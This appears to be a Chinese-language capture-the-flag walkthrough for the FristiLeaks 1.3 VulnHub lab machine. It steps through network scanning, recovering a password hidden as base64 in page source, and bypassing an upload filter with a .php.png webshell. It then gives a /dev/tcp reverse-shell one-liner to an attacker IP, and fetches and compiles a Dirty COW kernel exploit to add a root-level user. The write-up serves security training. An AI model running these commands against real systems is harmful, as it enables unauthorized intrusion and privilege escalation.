运行环境:Virtualbox
靶机下载地址:https://www.vulnhub.com/entry/fristileaks-13,133/
目标:获取靶机root权限和flag
靶机安装
这个靶机安装到Virtualbox里面,并且需要把网卡转换为桥接模式,kali也要转化为桥接模式,同时注意安装靶机的时候需要将靶机的MAC地址改为:08:00:27:A5:A6:76,否则靶机ip地址会获取不到
混杂模式要改为全部允许
信息收集
进行靶机IP扫描
netdiscover -i eth0 -r 192.168.7.0/24
使用nmap端口扫描发现靶机开放端口:80
nmap -A 10.0.2.12 -p 1-65535
网页进行IP访问
进行目录扫描
拼接/robots.txt
访问之后,是图片,没有什么其他信息,然后回到网页,经过各种尝试之后,发现是在网页后拼接网页上的 fristi,
是一个登录页面
查看源码发现一段todo信息和一段base64加密的信息,根据todo信息可以猜测存在用户名:eezeepz
猜测base64加密信息应该是png图片内容数据
可以使用python代码解密,并将解密的数据保存为图片
import os
import base64
sss ="""{base64密文}"""
print(len(sss))
imagedata = base64.b64decode(sss)
print(imagedata)
file = open('1.png',"wb")
file.write(imagedata)
file.close()
图片内容为:keKkeKKeKKeKkEkkEk
这可能是账号密码,尝试登录eezeepz:keKkeKKeKKeKkEkkEk
登陆成功,存在文件上传功能点
漏洞利用
上传一句话木马,失败,只允许上传 png,jpg,gif
尝试一下1.php.png文件
发现上传成功
进行蚁剑连接
反弹shell
cd /var/www/html/fristi/uploads/
0<&196;exec 196<>/dev/tcp/192.168.7.47/1234; sh <&196 >&196 2>&196
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
使用命令uname -a
查看系统的内核版本,为Linux 2.6.32-573.8.1.el6.x86_64
我们直接使用经典的脏牛漏洞
将exp下载下来,使用远程下载上传到靶机
searchsploit -m 文件名字
进行下载
主机:
python3 -m http.server
靶机:
cd /tmp
wget http://192.168.7.47:8000/40839.c #远程下载
gcc -pthread 40839.c -o 40839 -lcrypt #进行编译
运行这个编译过后的文件,设置密码123456,会自动生成一个用户,自动加入到/etc/passwd文件里面
查看/etc/passwd文件
跳转到这个用户